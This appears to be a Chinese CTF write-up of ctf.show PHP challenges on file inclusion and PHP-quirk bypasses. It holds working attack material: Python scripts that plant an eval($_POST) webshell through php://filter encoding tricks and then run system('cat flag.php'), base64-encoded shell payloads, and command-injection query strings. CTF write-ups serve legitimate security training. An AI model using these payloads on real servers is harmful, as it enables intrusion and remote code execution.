import requestsurl = "http://67365af2-c5a6-4b3c-8900-25c85ed1d8cc.chall.ctf.show:8080/" get_data = "%25%37%30%25%36%38%25%37%30%25%33%41%25%32%46%25%32%46%25%36%36%25%36%39%25%36%43%25%37%34%25%36%35%25%37%32%25%32%46%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%44%25%36%33%25%36%46%25%36%45%25%37%36%25%36%35%25%37%32%25%37%34%25%32%45%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%44%25%36%34%25%36%35%25%36%33%25%36%46%25%36%34%25%36%35%25%32%46%25%37%32%25%36%35%25%37%33%25%36%46%25%37%35%25%37%32%25%36%33%25%36%35%25%33%44%25%36%34%25%36%31%25%37%34%25%36%31%25%37%33%25%37%34%25%32%45%25%37%30%25%36%38%25%37%30" get_url = url + "?file=" + get_data data = { 'content' : 'nbPD9waHAgQGV2YWwoJF9QT1NUW3Bhc3NdKTs/Pg==' } res = requests.post(url=get_url, data=data) shell_url = url + "dotast.php" test = requests.get(shell_url) if (test.status_code == 200 ): print("[*]getshell成功" ) shell_data = { 'pass' : 'system("cat fl0g.php");' } result = requests.post(url=shell_url, data=shell_data) print(result.text)
运行后即可得到flag
¶ web88
1 2 3 4 5 6 7
if (isset ($_GET['file' ])){ $file = $_GET['file' ]; if (preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i" , $file)){ die ("error" ); } include ($file); }
倒是变得简单了,过滤了php,但没过滤data,所以使用data伪协议,但因为过滤了php所以我们使用base64编码一下 payload如下
1
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4
¶ web116
题目提示是lfi,也就是php本地文件包含漏洞,打开题目,是一个视频,是港片电影合集的混剪,饶有兴趣的看完了😆 直接试了一下file参数包含路径,就出来了源码
1 2 3 4 5 6 7 8 9 10 11 12 13
<?php error_reporting(0 ); function filter ($x ) { if (preg_match('/http|https|data|input|rot13|base64|string|log|sess/i' ,$x)){ die ('too young too simple sometimes naive!' ); } } $file=isset ($_GET['file' ])?$_GET['file' ]:"5.mp4" ; filter($file); header('Content-Type: video/mp4' ); header("Content-Length: $file " ); readfile($file); ?>
直接包含flag就出来了
¶ web117
1 2 3 4 5 6 7 8 9 10 11 12
<?php highlight_file(__FILE__ ); error_reporting(0 ); function filter ($x ) { if (preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i' ,$x)){ die ('too young too simple sometimes naive!' ); } } $file=$_GET['file' ]; $contents=$_POST['contents' ]; filter($file); file_put_contents($file, "<?php die();?>" .$contents);
这题和前面的有点类似,也是绕过contents前面的死亡代码,只是把一些可利用的协议和编码给ban了,但还可以利用其它编码器进行绕过
convert.iconv.:一种过滤器,和使用iconv()函数处理流数据有等同作用iconv ( string $in_charset , string $out_charset , string $str )
:将字符串$str
从in_charset
编码转换到$out_charset
这里引入usc-2的概念,作用是对目标字符串每两位进行一反转,值得注意的是,因为是两位所以字符串需要保持在偶数位上
1 2 3 4 5 6 7
$result = iconv("UCS-2LE" ,"UCS-2BE" , '<?php @eval($_POST[dotast]);?>' ); echo "经过一次反转:" .$result."\n" ;echo "经过第二次反转:" .iconv("UCS-2LE" ,"UCS-2BE" , $result);
可以看到,经过两次反转之后代码又组装回来,思路就是用经过一次反转后的webshell和死亡代码<?php die();?>
一起组合之后,经过第二次反转我们的webshell就恢复正常了,而死亡代码会被反转打乱不能执行 所以payload也就出来了,把前面的脚本改一下即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
import requestsurl = "http://8a412388-9727-4ea0-8b0d-1f144f2d1a87.chall.ctf.show:8080/" get_data = "php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=dotast.php" get_url = url + "?file=" + get_data data = { 'contents' : '?<hp [email protected] (l_$OPTSd[tosa]t;)>?' } res = requests.post(url=get_url, data=data) shell_url = url + "dotast.php" test = requests.get(shell_url) if (test.status_code == 200 ): print("[*]getshell成功" ) shell_data = { 'dotast' : 'system("cat flag.php");' } result = requests.post(url=shell_url, data=shell_data) print(result.text)
运行后得到flag
¶ php特性(89-115&123&125-150)
¶ web89
1 2 3 4 5 6 7 8 9 10 11
include ("flag.php" );highlight_file(__FILE__ ); if (isset ($_GET['num' ])){ $num = $_GET['num' ]; if (preg_match("/[0-9]/" , $num)){ die ("no no no!" ); } if (intval($num)){ echo $flag; } }
intval() 函数用于获取变量的整数值。
intval() 函数通过使用指定的进制 base 转换(默认是十进制),返回变量 var 的 integer 数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
首先第一个if判断有无参数num,第二个if正则匹配有没有数字,第三个if如果能为1的话,就可执行if里的语句,而intval函数用于object时会发生错误并返回1,所以payload为
¶ web90
1 2 3 4 5 6 7 8 9 10 11 12 13
include ("flag.php" );highlight_file(__FILE__ ); if (isset ($_GET['num' ])){ $num = $_GET['num' ]; if ($num==="4476" ){ die ("no no no!" ); } if (intval($num,0 )===4476 ){ echo $flag; }else { echo intval($num,0 ); } }
继续考察intval的使用,多补充点知识
int intval ( mixed $var [, int $base = 10 ] )
如果 base 是 0,通过检测 var 的格式来决定使用的进制:
如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
如果字符串以 “0” 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。
所以把4476转换成16进制,payload为
¶ web91
1 2 3 4 5 6 7 8 9 10 11 12 13 14
show_source(__FILE__ ); include ('flag.php' );$a=$_GET['cmd' ]; if (preg_match('/^php$/im' , $a)){ if (preg_match('/^php$/i' , $a)){ echo 'hacker' ; } else { echo $flag; } } else { echo 'nonononono' ; }
第一个if需要匹配到php,而第二个if如果匹配到php就会输出hacker,绕过需要不让它匹配到,这里有一个正则匹配的知识点
/i表示匹配大小写 字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配以php开头和以php结尾 /m 多行匹配 若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配 但是当出现换行符 %0a
的时候,$cmd的值会被当做两行处理,而此时第二个if正则匹配不符合以php开头和以php结尾
所以payload为
1 2 3
?cmd=%0aphp 或者 ?cmd=php%0a%0a
¶ web92
1 2 3 4 5 6 7 8 9 10 11 12 13
include ("flag.php" );highlight_file(__FILE__ ); if (isset ($_GET['num' ])){ $num = $_GET['num' ]; if ($num==4476 ){ die ("no no no!" ); } if (intval($num,0 )==4476 ){ echo $flag; }else { echo intval($num,0 ); } }
额,和90题一样,只是变成弱比较,一样使用十六进制绕过
¶ web93
1 2 3 4 5 6 7 8 9 10 11 12 13 14
if (isset ($_GET['num' ])){ $num = $_GET['num' ]; if ($num==4476 ){ die ("no no no!" ); } if (preg_match("/[a-z]/i" , $num)){ die ("no no no!" ); } if (intval($num,0 )==4476 ){ echo $flag; }else { echo intval($num,0 ); } }
过滤了字母,那我们直接用小数点即可(利用php浮点数不能直接比较相等的特性),或者8进制也行
¶ web94
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
if (isset ($_GET['num' ])){ $num = $_GET['num' ]; if ($num==="4476" ){ die ("no no no!" ); } if (preg_match("/[a-z]/i" , $num)){ die ("no no no!" ); } if (!strpos($num, "0" )){ die ("no no no!" ); } if (intval($num,0 )===4476 ){ echo $flag; } }
这次变成强比较,并且多加了一个strpos函数
strpos() 函数查找字符串在另一字符串中第一次出现的位置
1
strpos(string,find,start)
参数
描述
string
必需。规定要搜索的字符串。
find
必需。规定要查找的字符串。
start
可选。规定在何处开始搜索。
返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
注释 :字符串位置从 0 开始,不是从 1 开始。
因为八进制需要开头指定为0,而strpos()会匹配到返回0,!0也就是1得执行die,我们可以在前面加个空格,这样strpos()会返回1,所以我们把4476转换为8进制10574后,前面再加一个空格即可,payload为
¶ web95
1 2 3 4 5 6 7 8 9 10 11 12 13 14
if (isset ($_GET['num' ])){ $num = $_GET['num' ]; if ($num==4476 ){ die ("no no no!" ); } if (preg_match("/[a-z]|\./i" , $num)){ die ("no no no!!" ); } if (!strpos($num, "0" )){ die ("no no no!!!" ); } if (intval($num,0 )===4476 ){ echo $flag; }
换成弱比较了,一样使用上题payload
¶ web96
1 2 3 4 5 6 7 8
if (isset ($_GET['u' ])){ if ($_GET['u' ]=='flag.php' ){ die ("no no no" ); }else { highlight_file($_GET['u' ]); } }
读取文件,参数不等于flag.php,那直接加个./
即可,有多种办法,php伪协议也可
¶ web97
1 2 3 4 5 6 7
if (isset ($_POST['a' ]) and isset ($_POST['b' ])) { if ($_POST['a' ] != $_POST['b' ]) if (md5($_POST['a' ]) === md5($_POST['b' ])) echo $flag; else print 'Wrong.' ; }
强比较md5类型题目,我刚好做过这个题型总结,师傅们可以去我的这篇文章看看https://www.wlhhlc.top/posts/16813/ md5函数处理数组舒服会返回NULL,两个NULL即相等 payload为
¶ web98
1 2 3 4
$_GET?$_GET=&$_POST:'flag' ; $_GET['flag' ]=='flag' ?$_GET=&$_COOKIE:'flag' ; $_GET['flag' ]=='flag' ?$_GET=&$_SERVER:'flag' ; highlight_file($_GET['HTTP_FLAG' ]=='flag' ?$flag:__FILE__ );
这里是三目运算符和取地址,第二行和第三行是无用的,因为用不到,所以我们分析一下第一行和第四行
第一行:如果存在get传参,则把post传参地址给get,可以简单理解为post覆盖了get 第四行,如果get参数HTTP_FLAG
的值为flag,就读取文件,也就是输出flag
所以思路也就出来了,payload为
1 2 3 4
?1=2 post: HTTP_FLAG=flag
¶ web99
1 2 3 4 5 6 7
$allow = array (); for ($i=36 ; $i < 0x36d ; $i++) { array_push($allow, rand(1 ,$i)); } if (isset ($_GET['n' ]) && in_array($_GET['n' ], $allow)){ file_put_contents($_GET['n' ], $_POST['content' ]); }
看一下代码,流程主要是先创建一个数组,接着往数组里添加rand()函数产生的随机数; 第二个if判断是否存在get参数n,并且用in_array()在数组里搜索值 最后用file_put_contents函数写数据到文件中
in_array() 函数搜索数组中是否存在指定的值
1
in_array(search,array ,type)
参数
描述
search
必需。规定要在数组搜索的值。
array
必需。规定要搜索的数组。
type
可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同。
说明
如果给定的值 search 存在于数组 array 中则返回 true。如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。
如果没有在数组中找到参数,函数返回 false。
注释:如果 search 参数是字符串,且 type 参数设置为 true,则搜索区分大小写。
这里in_array()函数在没有第三个值得时候会进行弱比较,也就是存在强制转换,即123.php此时会被转换为123,所以payload如下 我喜欢用脚本跑
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
import requestsurl = "http://5922e022-e938-4ec4-905f-0ccd7cf07cdf.chall.ctf.show:8080/" w_url = url + "?n=123.php" data1 = { 'content' : '<?php @eval($_POST[dotast]);?>' } get_shell = requests.post(url=w_url, data=data1) shell_url = url + "123.php" get_test = requests.get(url=shell_url) if (get_test.status_code==200 ): print("写入shell成功" ) data2={ 'dotast' : 'system("cat flag36d.php");' } res = requests.post(url=shell_url, data=data2) print(res.text)
运行后即可得到flag
¶ web100
1 2 3 4 5 6 7 8 9 10 11 12 13 14
include ("ctfshow.php" );$ctfshow = new ctfshow(); $v1=$_GET['v1' ]; $v2=$_GET['v2' ]; $v3=$_GET['v3' ]; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if ($v0){ if (!preg_match("/\;/" , $v2)){ if (preg_match("/\;/" , $v3)){ eval ("$v2 ('ctfshow')$v3 " ); } } }
一共需要传三个get参数,然后$vo
是对三个参数的与的结果,了解一下s_numeric()
函数
is_numeric() 函数用于检测变量是否为数字或数字字符串 如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE
看到最后eval,肯定是需要命令执行,这需要$v2
传入命令,$v3
需要;
结尾,但这么一来就变成了
1
$vo = $v1 and FALSE and FAlse
但php有运算的优先级,也就是&&> = > and
按照运算优先级,先执行=
也就是赋值给$a为true,false就被忽略了,思路也就有了,payload为
1
?v1=1&v2=system("tac ctfshow.php")&v3=;
得到$flag_is_1ce376300x2d8dc70x2d4b870x2d9f0e0x2d1eea5dada15;
,其中0x2d需要替换成-
1
1ce37630-8dc7-4b87-9f0e-1eea5dada15
然而一共35位还少了一位,最后一位需要不断提交flag爆破,0-9a-f一共试最多16次即可得到flag,我试到第六次提交成功😭
1
ctfshow{1ce37630-8dc7-4b87-9f0e-1eea5dada156}
¶ web101
1 2 3 4 5 6 7 8 9 10 11 12 13 14
include ("ctfshow.php" );$ctfshow = new ctfshow(); $v1=$_GET['v1' ]; $v2=$_GET['v2' ]; $v3=$_GET['v3' ]; $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3); if ($v0){ if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/" , $v2)){ if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/" , $v3)){ eval ("$v2 ('ctfshow')$v3 " ); } } }
在上一题基础上多进行了过滤,所以上题payload无法使用,查了一下资料,发现还有类反射的知识点
PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。 $class = new ReflectionClass(‘ctfshow’); // 建立 Person这个类的反射类 $instance = $class->newInstanceArgs($args); // 相当于实例化ctfshow类
payload为
1
?v1=1&v2=echo new ReflectionClass&v3=;
也要像上题一样改掉0x2d和最后一位进行爆破
¶ web102
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
<?php highlight_file(__FILE__ ); $v1 = $_POST['v1' ]; $v2 = $_GET['v2' ]; $v3 = $_GET['v3' ]; $v4 = is_numeric($v2) and is_numeric($v3); if ($v4){ $s = substr($v2,2 ); $str = call_user_func($v1,$s); echo $str; file_put_contents($v3,$str); } else { die ('hacker' ); }
首先继续了解几个函数
is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回true,否则返回false。如果字符串中含有一个e代表科学计数法,也可返回true
call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数
file_put_contents() 函数应该都熟悉了,写入内容到文件中,第一个参数是文件名,第二个参数是内容
首先,get传参v2和v3,post传参v1;if中需要v4为真才能往下执行,而v4要为真就是v2传的参数要为数字或者数字字符串,同时v2也是我们要写入的webshell 为了让v2为数字或者数字字符串,我们可以先把我们的webshell转换为base64编码,再把base64编码转换为16进制,这是一种办法去转换成数字
1 2 3 4 5 6 7 8 9 10 11 12 13
<?php $b = base64_encode('<?=`tac *`;' ); $b = str_replace("=" ,"" ,$b); echo "base64加密后:" .$b."\n" ;$a = call_user_func('bin2hex' ,$b); echo "16进制形式:" .$a."\n" ;var_dump(is_numeric($a));
说明:<?=是php的短标签,是echo()的快捷用法 还有一点,就是substr()取得是从下标为2开始的字符串,我们在前面加00两位数 所以payload为
1 2 3 4
?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=dotast.php post: v1=hex2bin
解着再访问dotast.php即可得到flag
¶ web103
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
<?php highlight_file(__FILE__ ); $v1 = $_POST['v1' ]; $v2 = $_GET['v2' ]; $v3 = $_GET['v3' ]; $v4 = is_numeric($v2) and is_numeric($v3); if ($v4){ $s = substr($v2,2 ); $str = call_user_func($v1,$s); echo $str; if (!preg_match("/.*p.*h.*p.*/i" ,$str)){ file_put_contents($v3,$str); } else { die ('Sorry' ); } } else { die ('hacker' ); }
和上题一样的思路,payload继续用上题的
1 2 3 4
?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=dotast.php post: v1=hex2bin
¶ web104
1 2 3 4 5 6 7 8 9 10 11
<?php highlight_file(__FILE__ ); include ("flag.php" );if (isset ($_POST['v1' ]) && isset ($_GET['v2' ])){ $v1 = $_POST['v1' ]; $v2 = $_GET['v2' ]; if (sha1($v1)==sha1($v2)){ echo $flag; } }
倒是变得简单了,考的sha1函数特性,sha1()函数无法处理数组类型,会返回NULL,if条件就成立了,所以payload为
¶ web105
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
<?php highlight_file(__FILE__ ); include ('flag.php' );error_reporting(0 ); $error='你还想要flag嘛?' ; $suces='既然你想要那给你吧!' ; foreach ($_GET as $key => $value){ if ($key==='error' ){ die ("what are you doing?!" ); } $$key=$$value; }foreach ($_POST as $key => $value){ if ($value==='flag' ){ die ("what are you doing?!" ); } $$key=$$value; } if (!($_POST['flag' ]==$flag)){ die ($error); } echo "your are good" .$flag."\n" ;die ($suces);?>
这里利用的是变量覆盖,关键点在$$key=$$value,这里把$key的值当作了变量
1
例如 $key=flag 则$$key=$flag
这里一共有三个变量,$error、$suces和$flag;这里通过die($error)或者die($suces)都可以输出flag,所以有两个payload第一种: 通过die($error)输出flag,首先我们把$flag的值传给$dotast,接着再把$dotast的值传给$error,于是$error的值就是flag,再通过if判断die输出就是flag 例如$flag=ctfshow{xxxxx},?dotast=flag,通过第一个for循环,也就是$dotast=$flag,$dotast=ctfshow{xxxxx},接着再通过第二个for循环,$error=$dotast,此时$error=ctfshow{xxxxx}
1 2 3 4
?dotast=flag post: error=dotast
第二种: 通过die($suces)输出flag,首先我们把flag的值传给suces变量,接着再把flag的值给置空,已达到下面if条件为0不执行的目的,往下执行,die($suces)即可把flag输出
¶ web106
1 2 3 4 5 6 7 8 9 10 11
<?php highlight_file(__FILE__ ); include ("flag.php" );if (isset ($_POST['v1' ]) && isset ($_GET['v2' ])){ $v1 = $_POST['v1' ]; $v2 = $_GET['v2' ]; if (sha1($v1)==sha1($v2) && $v1!=$v2){ echo $flag; } }
又回归到sha1()函数的问题,这次在前面多加了一个判断$v1 != $v2
,我们就给他们赋值不同就好了,payload如下
¶ web107
1 2 3 4 5 6 7 8 9 10 11 12 13
<?php highlight_file(__FILE__ ); error_reporting(0 ); include ("flag.php" );if (isset ($_POST['v1' ])){ $v1 = $_POST['v1' ]; $v3 = $_GET['v3' ]; parse_str($v1,$v2); if ($v2['flag' ]==md5($v3)){ echo $flag; } }
首先需要传一个get参数v3
和一个post参数v1
,注意到一个函数parse_str()
参数
描述
string
必需。规定要解析的字符串。
array
可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。
举例
1 2 3 4 5 6 7 8 9
$a = "name=dotast&age=666" ; parse_str($a,$b); echo $b['name' ]."\n" ;echo $b['age' ];
所以payload为
1 2 3 4
?v3=dotast post: v1=flag=208f1b1289da972682cbc81c8684fcc8
¶ web108
1 2 3 4 5 6 7 8 9 10 11
<?php highlight_file(__FILE__ ); error_reporting(0 ); include ("flag.php" );if (ereg ("^[a-zA-Z]+$" , $_GET['c' ])===FALSE ) { die ('error' ); } if (intval(strrev($_GET['c' ]))==0x36d ){ echo $flag; }
首先了解一下几个函数
ereg() 函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false。搜索对于字母字符是区分大小写的
strrev() 函数反转字符串。
intval() 函数用于获取变量的整数值
首先需要知道%00可以截断ereg()函数的搜索,正则表达式只会匹配%00之前的内容;0x36d的十进制内容为877,我们需要字母在前来满足if条件的正则匹配来跳过if语句,接着再进行字符串的反转得到877a,接着intval()函数取整数部分得到877 所以payload为
¶ web109
1 2 3 4 5 6 7 8 9 10 11
<?php highlight_file(__FILE__ ); error_reporting(0 ); if (isset ($_GET['v1' ]) && isset ($_GET['v2' ])){ $v1 = $_GET['v1' ]; $v2 = $_GET['v2' ]; if (preg_match('/[a-zA-Z]+/' , $v1) && preg_match('/[a-zA-Z]+/' , $v2)){ eval ("echo new $v1 ($v2 ());" ); } }
这里传入两个参数,并且都需要有字母,我们用php内置类让v1不进行报错,v2执行我们的命令就好了
Exception 处理用于在指定的错误发生时改变脚本的正常流程,是php内置的异常处理类
ReflectionClass 或者 ReflectionMethod 都为常用的反射类,可以理解为一个类的映射
所以payload如下
1 2 3 4 5
?v1=Exception&v2=system('tac fl36dg.txt') 或者 ?v1=ReflectionClass&v2=system('tac fl36dg.txt') 或者 ?v1=ReflectionMethod&v2=system('tac fl36dg.txt')
¶ web110
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<?php highlight_file(__FILE__ ); error_reporting(0 ); if (isset ($_GET['v1' ]) && isset ($_GET['v2' ])){ $v1 = $_GET['v1' ]; $v2 = $_GET['v2' ]; if (preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v1)){ die ("error v1" ); } if (preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/' , $v2)){ die ("error v2" ); } eval ("echo new $v1 ($v2 ());" ); } ?>
这里正则进行了匹配,我们可以使用FilesystemIterator文件系统迭代器来进行利用,通过新建FilesystemIterator,使用getcwd()来显示当前目录下的文件结构,payload为
1
?v1=FilesystemIterator&v2=getcwd
发现有fl36dga.txt,接着再访问即可得到flag
¶ web111
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
<?php highlight_file(__FILE__ ); error_reporting(0 ); include ("flag.php" );function getFlag (&$v1,&$v2 ) { eval ("$$v1 = &$$v2 ;" ); var_dump($$v1); } if (isset ($_GET['v1' ]) && isset ($_GET['v2' ])){ $v1 = $_GET['v1' ]; $v2 = $_GET['v2' ]; if (preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v1)){ die ("error v1" ); } if (preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/' , $v2)){ die ("error v2" ); } if (preg_match('/ctfshow/' , $v1)){ getFlag($v1,$v2); } }
这次依然考点在于变量覆盖(知识点忘记的话去温习一下web105),首选需要v1
含有ctfshow才能过正则,执行getflag函数,所以v1=ctfshow
,接着再getflag函数里,会把v2的地址传给v1,接着再输出v1,这里我们可以使用php里的全局变量GLOBALS
$GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
所以payload为
过程就是$ctfshow=&$GLOBALS
(全局变量中会含有flag的变量),接着再通过var_dump输出$ctfshow
¶ web112
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<?php highlight_file(__FILE__ ); error_reporting(0 ); function filter ($file ) { if (preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i' ,$file)){ die ("hacker!" ); }else { return $file; } } $file=$_GET['file' ]; if (! is_file($file)){ highlight_file(filter($file)); }else { echo "hacker!" ; }
首先了解几个函数
is_file() 函数检查指定的文件名是否是正常的文件
filter() 函数用于对来自非安全来源的数据(比如用户输入)进行验证和过滤
这里首先if语句里需要我们传入的不是文件类型才能执行highlight_file语句来读取flag文件,也就是一个绕过的考点,我们使用php伪协议即可,所以payload为
1
?file=php://filter/resource=flag.php
¶ web113
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
<?php highlight_file(__FILE__ ); error_reporting(0 ); function filter ($file ) { if (preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i' ,$file)){ die ('hacker!' ); }else { return $file; } } $file=$_GET['file' ]; if (! is_file($file)){ highlight_file(filter($file)); }else { echo "hacker!" ; }
在上一题基础上过滤了filter,那我们换另一个协议,使用压缩流zlib:// 官方php文档地址:https://www.php.net/manual/zh/wrappers.compression.php 所以payload为
1
?file=compress.zlib://flag.php
¶ web114
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
<?php error_reporting(0 ); highlight_file(__FILE__ ); function filter ($file ) { if (preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i' ,$file)){ die ('hacker!' ); }else { return $file; } } $file=$_GET['file' ]; echo "师傅们居然tql都是非预期 哼!" ;if (! is_file($file)){ highlight_file(filter($file)); }else { echo "hacker!" ; }
这次把compress过滤了,但没过滤filter,和web112一样的做法,payload为
1
?file=php://filter/resource=flag.php
¶ web115
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
<?php include ('flag.php' );highlight_file(__FILE__ ); error_reporting(0 ); function filter ($num ) { $num=str_replace("0x" ,"1" ,$num); $num=str_replace("0" ,"1" ,$num); $num=str_replace("." ,"1" ,$num); $num=str_replace("e" ,"1" ,$num); $num=str_replace("+" ,"1" ,$num); return $num; } $num=$_GET['num' ]; if (is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36' ){ if ($num=='36' ){ echo $flag; }else { echo "hacker!!" ; } }else { echo "hacker!!!" ; }
这里用了is_numeric来判断是不是数字,并且if条件里规定trim($num)移除字符串两侧的字符不能等于36,但后面的if需要等于36才能输出flag,而且自定义函数filter也把16进制和8进制等等封死了,我们写个脚本看看有什么字符可以利用
1 2 3 4 5 6 7
<?php for ($i = 0 ; $i <= 128 ; $i++) { $a = chr($i) . '36' ; if (trim($a) !== '36' && is_numeric($a)) { echo urlencode(chr($i)) . "\n" ; } }
发现%0C
,也就是\f
分页符可以利用,不会被trim过滤掉,所以payload为
¶ web123
1 2 3 4 5 6 7 8 9 10 11 12 13 14
<?php error_reporting(0 ); highlight_file(__FILE__ ); include ("flag.php" );$a=$_SERVER['argv' ]; $c=$_POST['fun' ]; if (isset ($_POST['CTF_SHOW' ])&&isset ($_POST['CTF_SHOW.COM' ])&&!isset ($_GET['fl0g' ])){ if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/" , $c)&&$c<=18 ){ eval ("$c " .";" ); if ($fl0g==="flag_give_me" ){ echo $flag; } } }
看到后面有个eval()函数会执行$c
,所以我们就关注$c和if判断需要的两个post即可 在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[
则会被转化为_
,所以按理来说我们构造不出CTF_SHOW.COM
这个变量(因为含有.
),但php中有个特性就是如果传入[
,它被转化为_
之后,后面的字符就会被保留下来不会被替换,所以payload为
1 2
post: CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag
¶ web125
1 2 3 4 5 6 7 8 9 10 11 12 13 14
<?php error_reporting(0 ); highlight_file(__FILE__ ); include ("flag.php" );$a=$_SERVER['argv' ]; $c=$_POST['fun' ]; if (isset ($_POST['CTF_SHOW' ])&&isset ($_POST['CTF_SHOW.COM' ])&&!isset ($_GET['fl0g' ])){ if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i" , $c)&&$c<=16 ){ eval ("$c " .";" ); if ($fl0g==="flag_give_me" ){ echo $flag; } } }
在上一题基础上过滤了flag和echo关键字,我们可以用highlight_file来显示文件,因为flag被在post中被ban了,我们通过get来传参,所以payload为
1 2 3 4
?dotast=flag.php post: CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[dotast])
¶ web126
1 2 3 4 5 6 7 8 9 10 11 12 13 14
<?php error_reporting(0 ); highlight_file(__FILE__ ); include ("flag.php" );$a=$_SERVER['argv' ]; $c=$_POST['fun' ]; if (isset ($_POST['CTF_SHOW' ])&&isset ($_POST['CTF_SHOW.COM' ])&&!isset ($_GET['fl0g' ])){ if (!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i" , $c) && strlen($c)<=16 ){ eval ("$c " .";" ); if ($fl0g==="flag_give_me" ){ echo $flag; } } }
这次正则匹配了一些关键字母,导致不能继续用上题payload;观察到这里是有$_SERVER['argv']
$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
query string是Uniform Resource Locator (URL)的一部分, 其中包含着需要传给web application的数据
这里进行了本地测试,注意需要在php.ini开启register_argc_argv配置项,测试代码为
1 2 3
<?php $a=$_SERVER['argv' ]; var_dump($a);
所以如果我们get传入变量赋值语句,接着在post里面来执行这个赋值语句就可以完美绕过,payload为
1 2 3 4
?$fl0g=flag_give_me; post: CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])
¶ web127
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
<?php error_reporting(0 ); include ("flag.php" );highlight_file(__FILE__ ); $ctf_show = md5($flag); $url = $_SERVER['QUERY_STRING' ]; function waf ($url ) { if (preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//' , $url)){ return true ; }else { return false ; } } if (waf($url)){ die ("嗯哼?" ); }else { extract($_GET); } if ($ctf_show==='ilove36d' ){ echo $flag; }
这里开启了$_SERVER['QUERY_STRING']
,上题已经解释过,这里用了一个extract()函数
extract() 函数从数组中将变量导入到当前的符号表,使用数组键名作为变量名,使用数组键值作为变量值
举例就是?a=2
,就会变成$a=2
,这里ctf_show
有个_
需要构造,前面说过php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[
则会被转化为_
